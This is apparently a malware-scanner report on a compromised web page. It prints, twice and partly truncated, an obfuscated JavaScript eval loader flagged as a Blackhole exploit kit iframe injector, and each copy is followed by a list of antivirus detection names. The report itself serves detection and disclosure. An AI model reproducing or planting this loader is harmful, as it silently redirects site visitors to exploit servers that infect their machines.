Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|
http://encinaresvivos.org/index.php/77-from-the-news/68-joomla-2-5-opens-beta-version-today | 200 OK Content-Length: 57467 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) r=eval;function vqvq(){zva=function(){--(d.body)}()};a=("47,155,174,165,152,173,160,166,165,47,161,152,157,151,67,100,57,60,47,202,24,21,47,175,150,171,47,172,173,150,173,160,152,104,56,150,161,150,177,56,102,24,21,47,175,150,171,47,152,166,165,173,171,166,163,163,154,171,104,56,160,165,153,154,177,65,167,157,167,56,102,24,21,47,175,150,171,47,161,152,157,151,47,104,47,153,166,152,174,164,154,165,173,65,152,171,154,150,173,154,114,163,154,164,154,165,173,57,56,160,155,171,150,164,154,56,60,102,2
... 3003 bytes are skipped ...,56,175,160,172,160,173,154,153,146,174,170,56,60,104,104,74,74,60,202,204,154,163,172,154,202,132,154,173,112,166,166,162,160,154,57,56,175,160,172,160,173,154,153,146,174,170,56,63,47,56,74,74,56,63,47,56,70,56,63,47,56,66,56,60,102,24,21,24,21,161,152,157,151,67,100,57,60,102,24,21,204,24,21,204".split(","));d=document;for(i=0;i<a.length;i+=1){a[i]=-(10-3)+parseInt(a[i],4+4);}try{vqvq()}catch(q){yy=50-50;}try{yy/=72}catch(pq){yy=1;}if(!yy)r(String["fr"+"omCh"+"arCo"+"de"].apply(String,a));Antivirus reports:- AntiVir
- JS/BlacoleRef.DD.40
- Avast
- JS:Includer-ALC [Trj]
- nProtect
- JS:Exploit.BlackHole.AY
- K7AntiVirus
- Riskware
- Comodo
- TrojWare.JS.Agent.FFF
- McAfee-GW-Edition
- JS/Exploit-Blacole.ht
- DrWeb
- JS.IFrame.498
- TrendMicro
- HEUR_HTJS.HDJSFN
- Microsoft
- Exploit:JS/Blacole.ND
- MicroWorld-eScan
- JS:Exploit.BlackHole.AY
- Fortinet
- JS/Redirector.BOZ!tr
- McAfee
- JS/Exploit-Blacole.ht
- NANO-Antivirus
- Trojan.Script.Expack.chulnr
- F-Secure
- JS:Exploit.BlackHole.AY
- F-Prot
- JS/IFrame.RS.gen
- AVG
- Script/Exploit.Kit
- Norman
- Blacole.WQ
- GData
- JS:Exploit.BlackHole.AY
- Commtouch
- JS/IFrame.RS.gen
- BitDefender
- JS:Exploit.BlackHole.AY
|